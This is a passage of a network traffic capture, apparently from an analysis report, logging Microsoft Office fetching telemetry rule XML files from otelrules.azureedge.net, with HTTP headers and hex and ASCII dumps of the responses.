Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:25 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:26 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:25 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2f6e7a45-901e-0083-466a-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062825Z-16849878b78xblwksrnkakc08w00000006tg00000000m9q2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:26 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:26 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:26 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062826Z-17c5cb586f6vcw6vtg5eymp4u800000005rg000000009hn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:26 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062826Z-16849878b78sx229w7g7at4nkg00000005zg000000001tnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:26 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:26 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6ac6ea93-701e-0001-1898-25b110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062826Z-15b8d89586f4zwgbgswvrvz4vs00000008y000000000bc7c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:26 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:27 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: b03ac640-101e-007a-1bc8-27047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062827Z-17c5cb586f6vcw6vtg5eymp4u800000005pg00000000bkv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:27 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062827Z-16849878b78wv88bk51myq5vxc00000007w000000000d7m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:27 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 7b68ac53-d01e-0082-7e67-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062827Z-16849878b78wc6ln1zsrz6q9w800000007ag000000008q1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49955	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:27 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:27 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062827Z-16849878b78q9m8bqvwuva4svc000000061g00000000pkk0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49957	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:27 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062827Z-16849878b78fhxrnedubv5byks0000000620000000001wzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49956	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:27 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:27 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:27 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: cce14155-601e-000d-601a-292618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062827Z-r197bdfb6b4grkz4xgvkar0zcs00000007ag000000006sn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:27 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49958	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:28 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:28 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a9c77195-601e-003e-7294-293248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062828Z-15b8d89586fbmg6qpd9yf8zhm000000002f000000000d78d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49960	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:28 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
